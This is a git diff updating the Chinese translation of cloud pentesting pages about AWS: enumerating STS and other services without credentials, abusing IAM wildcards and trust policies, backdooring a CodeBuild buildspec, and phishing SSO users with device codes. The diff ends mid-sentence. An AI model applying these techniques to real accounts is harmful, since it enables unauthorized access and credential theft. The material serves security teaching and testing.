**假设它的权限**(在这种情况下,即使被假设的角色指定了 ARN,这也不是可选的)。 -### Enumeration +### 枚举 ```bash # Get basic info of the creds aws sts get-caller-identity @@ -67,7 +67,7 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` -### 提权 +### Privesc 在以下页面中,您可以查看如何**滥用 STS 权限以提升权限**: @@ -75,19 +75,19 @@ aws sts get-session-token --serial-number --token-code ../aws-privilege-escalation/aws-sts-privesc.md {{#endref}} -### 后期利用 +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-sts-post-exploitation.md {{#endref}} -### 持久性 +### Persistence {{#ref}} ../aws-persistence/aws-sts-persistence.md {{#endref}} -## 参考 +## References - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 1264b748c..7eb90f555 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,9 +6,9 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** 是一个完全托管的 **无服务器调度程序,旨在大规模创建、运行和管理任务**。它使您能够在超过 270 个 AWS 服务和 6,000 多个 API 操作中调度数百万个任务,所有这些都来自一个中央服务。凭借内置的可靠性和无需管理的基础设施,EventBridge Scheduler 简化了调度,降低了维护成本,并自动扩展以满足需求。您可以为重复调度配置 cron 或速率表达式,设置一次性调用,并定义灵活的交付窗口和重试选项,确保任务根据下游目标的可用性可靠交付。 +**Amazon EventBridge Scheduler** 是一个完全托管的 **无服务器调度程序,旨在大规模创建、运行和管理任务**。它使您能够在超过 270 个 AWS 服务和 6,000 多个 API 操作中,从一个中央服务调度数百万个任务。凭借内置的可靠性和无需管理基础设施,EventBridge Scheduler 简化了调度,降低了维护成本,并自动扩展以满足需求。您可以为重复调度配置 cron 或速率表达式,设置一次性调用,并定义灵活的交付窗口和重试选项,确保任务根据下游目标的可用性可靠交付。 -每个区域每个账户的初始调度限制为 1,000,000。甚至官方配额页面也建议:“建议在一次性调度完成后将其删除。” +每个区域每个账户的初始调度限制为 1,000,000。即使官方配额页面也建议:“建议在一次性调度完成后将其删除。” ### Types of Schedules @@ -21,13 +21,13 @@ EventBridge Scheduler 中的调度类型: 处理失败事件的两种机制: 1. **重试策略** – 定义失败事件的重试尝试次数以及在将其视为失败之前保持未处理的时间。 -2. **死信队列 (DLQ)** – 标准的 Amazon SQS 队列,在重试耗尽后将失败事件传递到此队列。DLQ 有助于排查调度或其下游目标的问题。 +2. **死信队列 (DLQ)** – 标准的 Amazon SQS 队列,失败事件在重试耗尽后被送达。DLQ 有助于排查调度或其下游目标的问题。 ### Targets -调度程序有 2 种类型的目标 [**模板化 (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html),这些目标常用且 AWS 使其更易于配置,以及 [**通用 (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html),可用于调用任何 AWS API。 +调度程序有 2 种类型的目标 [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html),这些目标常用且 AWS 使其更易于配置,以及 [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html),可用于调用任何 AWS API。 -**模板化目标** 支持以下服务: +**模板目标** 支持以下服务: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution @@ -64,7 +64,7 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` -### Privesc +### 提权 在以下页面中,您可以查看如何**滥用 eventbridge 调度程序权限以提升权限**: @@ -72,7 +72,7 @@ aws scheduler list-tags-for-resource --resource-arn ../aws-privilege-escalation/eventbridgescheduler-privesc.md {{#endref}} -## References +## 参考 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index adb20e419..729ca935a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS 凭证泄露 -获取 AWS 账户访问或信息的常见方法是通过 **搜索泄露**。您可以使用 **google dorks** 搜索泄露,检查 **组织** 和 **组织员工** 在 **Github** 或其他平台上的 **公共仓库**,在 **凭证泄露数据库** 中搜索……或在您认为可能找到公司及其云基础设施信息的任何其他地方。\ +获取 AWS 账户访问或信息的常见方法是通过 **搜索泄露**。您可以使用 **google dorks** 搜索泄露,检查 **组织** 的 **公共仓库** 和 **员工** 在 **Github** 或其他平台上的信息,搜索 **凭证泄露数据库**... 或在您认为可能找到公司及其云基础设施信息的任何其他地方。\ 一些有用的 **工具**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -13,7 +13,7 @@ ## AWS 未认证枚举与访问 -AWS 中有几个服务可以配置,使其对所有互联网用户或比预期更多的人开放访问。查看以下内容了解如何: +AWS 中有几个服务可能被配置为向所有互联网或比预期更多的人提供某种访问权限。查看以下内容了解如何: - [**账户未认证枚举**](aws-accounts-unauthenticated-enum.md) - [**Cloud9 未认证枚举**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,7 +36,7 @@ AWS 中有几个服务可以配置,使其对所有互联网用户或比预期 ## 跨账户攻击 -在演讲 [**打破隔离:跨账户 AWS 漏洞**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) 中,展示了一些服务如何允许任何 AWS 账户访问它们,因为 **未指定账户 ID 的 AWS 服务** 是被允许的。 +在演讲 [**打破隔离:跨账户 AWS 漏洞**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) 中,展示了一些服务如何允许任何 AWS 账户访问它们,因为 **AWS 服务未指定账户 ID** 是被允许的。 在演讲中,他们列举了几个例子,例如 S3 存储桶 **允许 cloudtrail**(来自 **任何 AWS** 账户)**写入它们**: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 49fb47b42..de1c24566 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - 账户未认证枚举 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 6fb3105dd..83346102e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - API Gateway 未认证枚举 {{#include ../../../banners/hacktricks-training.md}} ### API 调用绕过 -根据演讲 [使用 AWS API Gateway Lambda 授权者的攻击向量 - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE),Lambda 授权者可以 **使用 IAM 语法** 配置以授予调用 API 端点的权限。这是 [**来自文档**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +根据演讲 [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE),Lambda Authorizers 可以 **使用 IAM 语法** 配置以授予调用 API 端点的权限。这是 [**来自文档**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { "Version": "2012-10-17", @@ -19,26 +19,26 @@ ] } ``` -给端点调用权限的这种方式的问题在于**"\*"意味着"任何"**,并且**不再支持正则表达式语法**。 +给端点赋予权限的这种方式的问题在于,**"\*" 意味着 "任何"**,并且**不再支持正则表达式语法**。 -一些例子: +一些示例: -- 规则如`arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`为了给每个用户访问`/dashboard/user/{username}`的权限,将会使他们访问其他路由,例如`/admin/dashboard/createAdmin`。 +- 规则如 `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` 为每个用户提供对 `/dashboard/user/{username}` 的访问权限,将使他们能够访问其他路由,例如 `/admin/dashboard/createAdmin`。 > [!WARNING] -> 请注意**"\*"不会因斜杠而停止扩展**,因此,如果您在api-id中使用"\*",它也可能表示"任何阶段"或"任何方法",只要最终的正则表达式仍然有效。\ -> 所以`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> 可以验证对路径`/prod/GET/dashboard/admin`的测试阶段的post请求。 +> 请注意,**"\*" 不会因斜杠而停止扩展**,因此,如果您在 api-id 中使用 "\*",它也可能表示 "任何阶段" 或 "任何方法",只要最终的正则表达式仍然有效。\ +> 因此 `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> 可以验证对路径 `/prod/GET/dashboard/admin` 的测试阶段的 POST 请求。 -您应该始终清楚您想要允许访问的内容,然后检查授予的权限是否可能存在其他场景。 +您应该始终清楚您想要允许访问的内容,然后检查授予的权限是否可能导致其他场景。 -有关更多信息,除了[**文档**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html),您可以在[**这个官方aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)中找到实现授权者的代码。 +有关更多信息,除了 [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html),您还可以在 [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints) 中找到实现授权者的代码。 -### IAM策略注入 +### IAM 策略注入 -在同一个[**演讲**](https://www.youtube.com/watch?v=bsPKk7WDOnE)中,暴露了如果代码使用**用户输入**来**生成IAM策略**,则可以在其中包含通配符(以及其他如"."或特定字符串),目的是**绕过限制**。 +在同一 [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) 中,暴露了这样一个事实:如果代码使用 **用户输入** 来 **生成 IAM 策略**,则可以在其中包含通配符(以及其他如 "." 或特定字符串),目的是 **绕过限制**。 -### 公共URL模板 +### 公共 URL 模板 ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 3094e83f3..49d59b0b4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - CodeBuild 未认证访问 +# AWS - CodeBuild 未经身份验证的访问 {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### buildspec.yml -如果您获得了对包含名为 **`buildspec.yml`** 文件的存储库的写入访问权限,您可以 **后门** 此文件,该文件指定将在 CodeBuild 项目中执行的 **命令** 并提取机密,妥协所做的事情,还可以妥协 **CodeBuild IAM 角色凭证**。 +如果您获得了对包含名为 **`buildspec.yml`** 的文件的存储库的写入访问权限,您可以 **后门** 此文件,该文件指定将在 CodeBuild 项目中执行的 **命令** 并提取机密,妨碍执行的内容,并且还可能妨碍 **CodeBuild IAM 角色凭证**。 请注意,即使没有 **`buildspec.yml`** 文件,但您知道正在使用 Codebuild(或其他 CI/CD),**修改一些合法代码** 也可以让您获得反向 shell,例如。 @@ -24,10 +24,8 @@ ## 在 AWS CodeBuild 中自托管的 GitHub Actions 运行器 -正如 [**文档中所示**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html),可以配置 **CodeBuild** 在配置的 Github 存储库中触发工作流时运行 **自托管的 Github actions**。这可以通过检查 CodeBuild 项目配置来检测,因为 **`事件类型`** 需要包含:**`WORKFLOW_JOB_QUEUED`**,并且在 Github 工作流中,因为它将选择一个 **自托管** 运行器,如下所示: +正如 [**文档中所述**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html),可以配置 **CodeBuild** 在配置的 Github 存储库中触发工作流时运行 **自托管的 Github actions**。这可以通过检查 CodeBuild 项目配置来检测,因为 **`事件类型`** 需要包含:**`WORKFLOW_JOB_QUEUED`**,并且在 Github 工作流中,因为它将选择一个 **自托管** 运行器,如下所示: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` 这种Github Actions与AWS之间的新关系为从Github入侵AWS提供了另一种方式,因为Github中的代码将在附加了IAM角色的CodeBuild项目中运行。 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 8e333067b..51da5a066 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -14,14 +14,14 @@ Cognito 是一个 AWS 服务,使开发者能够 **授予他们的应用用户 ### 身份池 ID -身份池可以为 **仅知道身份池 ID 的未认证用户** 授予 **IAM 角色**(这在 **查找** 时相当常见),拥有此信息的攻击者可能会尝试 **访问该 IAM 角色** 并利用它。\ +身份池可以为 **仅知道身份池 ID 的未认证用户** 授予 **IAM 角色**(这在 **查找** 时相对常见),拥有此信息的攻击者可能会尝试 **访问该 IAM 角色** 并利用它。\ 此外,IAM 角色也可以分配给访问身份池的 **认证用户**。如果攻击者能够 **注册用户** 或已经 **访问身份池中使用的身份提供者**,则可以访问 **授予认证用户的 IAM 角色** 并滥用其权限。 -[**查看如何做到这一点**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。 +[**在这里查看如何做到这一点**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。 ### 用户池 ID -默认情况下,Cognito 允许 **注册新用户**。能够注册用户可能会使您 **访问** 到 **基础应用程序** 或 **接受 Cognito 用户池作为身份提供者的身份池的认证 IAM 访问角色**。 [**查看如何做到这一点**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。 +默认情况下,Cognito 允许 **注册新用户**。能够注册用户可能会使您 **访问** 到 **基础应用程序** 或 **接受 Cognito 用户池作为身份提供者的身份池的认证 IAM 访问角色**。[**在这里查看如何做到这一点**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。 ### Pacu 模块用于渗透测试和枚举 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e495ac915..54166bfed 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -10,6 +10,6 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -除了访问所有 AWS 或某些被攻陷的外部 AWS 账户,或者在与 DynamoDB 通信的应用程序中存在一些 SQL 注入外,我不知道还有其他选项可以通过 DynamoDB 访问 AWS 账户。 +除了访问所有 AWS 或某些被攻陷的外部 AWS 账户,或者在与 DynamoDB 通信的应用程序中存在 SQL 注入外,我不知道还有其他选项可以从 DynamoDB 访问 AWS 账户。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index e2f79a64b..e3ed5ddf9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -如果您发现一个可以被任何人恢复的快照,请确保查看 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) 以获取下载和掠夺快照的说明。 +如果您发现一个任何人都可以恢复的快照,请确保查看 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) 以获取下载和掠夺快照的说明。 #### 公共 URL 模板 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 3cd844602..52cce9747 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -12,7 +12,7 @@ ### 公共注册表存储库(镜像) -如ECS枚举部分所述,公共注册表是**任何人都可以访问的**,使用格式**`public.ecr.aws//`**。如果攻击者找到公共存储库URL,他可以**下载镜像并在镜像的元数据和内容中搜索敏感信息**。 +如在 ECS 枚举部分中提到的,公共注册表是 **任何人都可以访问的**,使用格式 **`public.ecr.aws//`**。如果攻击者找到公共存储库 URL,他可以 **下载镜像并在镜像的元数据和内容中搜索敏感信息**。 ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 60684d978..44deb0aa5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -12,7 +12,7 @@ ### 对 ECS 服务公开可访问的安全组或负载均衡器 -配置错误的安全组 **允许来自互联网的入站流量 (0.0.0.0/0 或 ::/0)** 可能会使 AWS 资源暴露于攻击之中。 +配置错误的安全组 **允许来自互联网的入站流量 (0.0.0.0/0 或 ::/0)** 可能会使 AWS 资源暴露于攻击之下。 ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index a4d69ded2..7070b3777 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum +# AWS - Elastic Beanstalk 未认证枚举 {{#include ../../../banners/hacktricks-training.md}} @@ -10,25 +10,25 @@ ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### 网络漏洞 -请注意,默认情况下,Beanstalk 环境的 **Metadatav1 被禁用**。 +请注意,默认情况下 Beanstalk 环境的 **Metadatav1 被禁用**。 Beanstalk 网页的格式为 **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### 不安全的安全组规则 -配置错误的安全组规则可能会使 Elastic Beanstalk 实例暴露于公众。**过于宽松的入站规则,例如允许来自任何 IP 地址 (0.0.0.0/0) 的敏感端口流量,可能会使攻击者访问实例**。 +配置错误的安全组规则可能会将 Elastic Beanstalk 实例暴露给公众。**过于宽松的入站规则,例如允许来自任何 IP 地址 (0.0.0.0/0) 的敏感端口流量,可能使攻击者能够访问实例**。 -### Publicly Accessible Load Balancer +### 公开可访问的负载均衡器 -如果 Elastic Beanstalk 环境使用负载均衡器,并且负载均衡器配置为公开可访问,攻击者可以 **直接向负载均衡器发送请求**。虽然这对于旨在公开访问的 Web 应用程序可能不是问题,但对于私有应用程序或环境可能会成为问题。 +如果 Elastic Beanstalk 环境使用负载均衡器,并且负载均衡器配置为公开可访问,攻击者可以 **直接向负载均衡器发送请求**。虽然这对于旨在公开访问的 web 应用程序可能不是问题,但对于私有应用程序或环境可能会造成问题。 -### Publicly Accessible S3 Buckets +### 公开可访问的 S3 存储桶 Elastic Beanstalk 应用程序通常在部署前存储在 S3 存储桶中。如果包含应用程序的 S3 存储桶是公开可访问的,攻击者可能会 **下载应用程序代码并搜索漏洞或敏感信息**。 -### Enumerate Public Environments +### 枚举公共环境 ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 76fedaa44..a16d7cf49 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Elasticsearch Unauthenticated Enum +# AWS - Elasticsearch 未认证枚举 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index c7b2352c3..ad4faa75f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -19,7 +19,7 @@ ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -此消息确认角色的存在,但表明其假设角色策略不允许您进行假设。相比之下,尝试**假设一个不存在的角色会导致不同的错误**: +此消息确认角色的存在,但表明其假设角色策略不允许您假设。相反,尝试**假设一个不存在的角色会导致不同的错误**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` @@ -29,7 +29,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ### 信任策略:暴力破解跨账户角色和用户 -配置或更新**IAM角色的信任策略涉及定义哪些AWS资源或服务被允许假设该角色**并获取临时凭证。如果策略中指定的资源**存在**,则信任策略**成功**保存。然而,如果资源**不存在**,则会生成一个**错误**,指示提供了无效的主体。 +配置或更新**IAM角色的信任策略涉及定义哪些AWS资源或服务被允许假设该角色**并获得临时凭证。如果策略中指定的资源**存在**,则信任策略**成功**保存。然而,如果资源**不存在**,则会生成一个**错误**,指示提供了无效的主体。 > [!WARNING] > 请注意,在该资源中,您可以指定一个跨账户角色或用户: @@ -54,7 +54,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ``` #### GUI -如果您使用一个**不存在的角色**,您将会发现这个**错误**。如果角色**存在**,策略将会**保存**而没有任何错误。(这个错误是针对更新的,但在创建时也适用) +如果您使用一个 **不存在的角色**,您将会发现这个 **错误**。如果角色 **存在**,策略将会 **保存** 而没有任何错误。(这个错误是针对更新的,但在创建时也适用) ![](<../../../images/image (153).png>) @@ -99,7 +99,7 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- 示例中使用的 `admin` 角色是 **您帐户中的一个角色,由 pacu 进行模拟** 以创建其需要创建的策略以进行枚举。 +- 示例中使用的 `admin` 角色是 **您帐户中的一个角色,pacu 通过该角色进行模拟** 以创建其需要创建的策略以进行枚举。 ### Privesc @@ -118,11 +118,11 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -攻击者可以假设它。 +攻击者可以假设这一点。 ## 第三方 OIDC 联邦 -想象一下,你设法读取一个访问 **AWS** 内部 **角色** 的 **Github Actions 工作流**。\ +想象一下,你设法读取了一个访问 **AWS** 中 **角色** 的 **Github Actions 工作流**。\ 这个信任可能会给予对具有以下 **信任策略** 的角色的访问: ```json { @@ -143,7 +143,7 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -这个信任策略可能是正确的,但**缺乏更多条件**应该让你对它产生不信任。\ +这个信任策略可能是正确的,但**缺乏更多条件**应该让你对其产生不信任。\ 这是因为之前的角色可以被**来自 Github Actions 的任何人**假设!你应该在条件中指定其他内容,例如组织名称、仓库名称、环境、分支... 另一个潜在的错误配置是**添加一个条件**,如下所示: @@ -152,9 +152,9 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -注意在**冒号**(:)之前的**通配符**(*)。您可以创建一个名为**org_name1**的组织,并从Github Action中**假设角色**。 +注意在**冒号**(:)之前的**通配符**(*)。您可以创建一个组织,例如**org_name1**并从Github Action中**假设角色**。 -## 参考文献 +## 参考 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 093e481ad..c379afef9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## AWS 设备代码钓鱼 -最初在 [**这篇博客文章**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) 中提出,可以向使用 AWS SSO 的用户发送一个 **链接**,如果 **用户接受**,攻击者将能够获取一个 **令牌以冒充用户** 并访问用户能够访问的所有角色在 **Identity Center** 中。 +最初在 [**这篇博客文章**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) 中提出,可以向使用 AWS SSO 的用户发送一个 **链接**,如果 **用户接受**,攻击者将能够获取一个 **令牌以冒充用户** 并访问用户在 **Identity Center** 中能够访问的所有角色。 为了执行此攻击,前提条件是: @@ -17,7 +17,7 @@ 1. **查找子域名** -攻击者的第一步是找出受害者公司在其 Identity Center 中使用的子域名。这可以通过 **OSINT** 或 **猜测 + BF** 来完成,因为大多数公司将在这里使用其名称或其名称的变体。 +攻击者的第一步是找出受害者公司在其 Identity Center 中使用的子域名。这可以通过 **OSINT** 或 **猜测 + BF** 来完成,因为大多数公司将在这里使用其名称或名称的变体。 有了这些信息,就可以获取配置 Identity Center 的区域: ```bash @@ -102,9 +102,9 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### 针对不可钓鱼的 MFA 进行钓鱼 +### 针对不可钓鱼的 MFA 的钓鱼攻击 -有趣的是,之前的攻击 **即使在使用“不可钓鱼的 MFA”(webAuth)的情况下也能奏效**。这是因为之前的 **工作流程从未离开所使用的 OAuth 域**。与其他钓鱼攻击不同,用户需要替代登录域,在设备代码工作流程中,**代码由设备已知**,用户即使在不同的机器上也可以登录。如果接受了提示,设备仅通过 **知道初始代码**,就能够 **为用户检索凭据**。 +有趣的是,之前的攻击 **即使在使用“不可钓鱼的 MFA”(webAuth)的情况下也能有效**。这是因为之前的 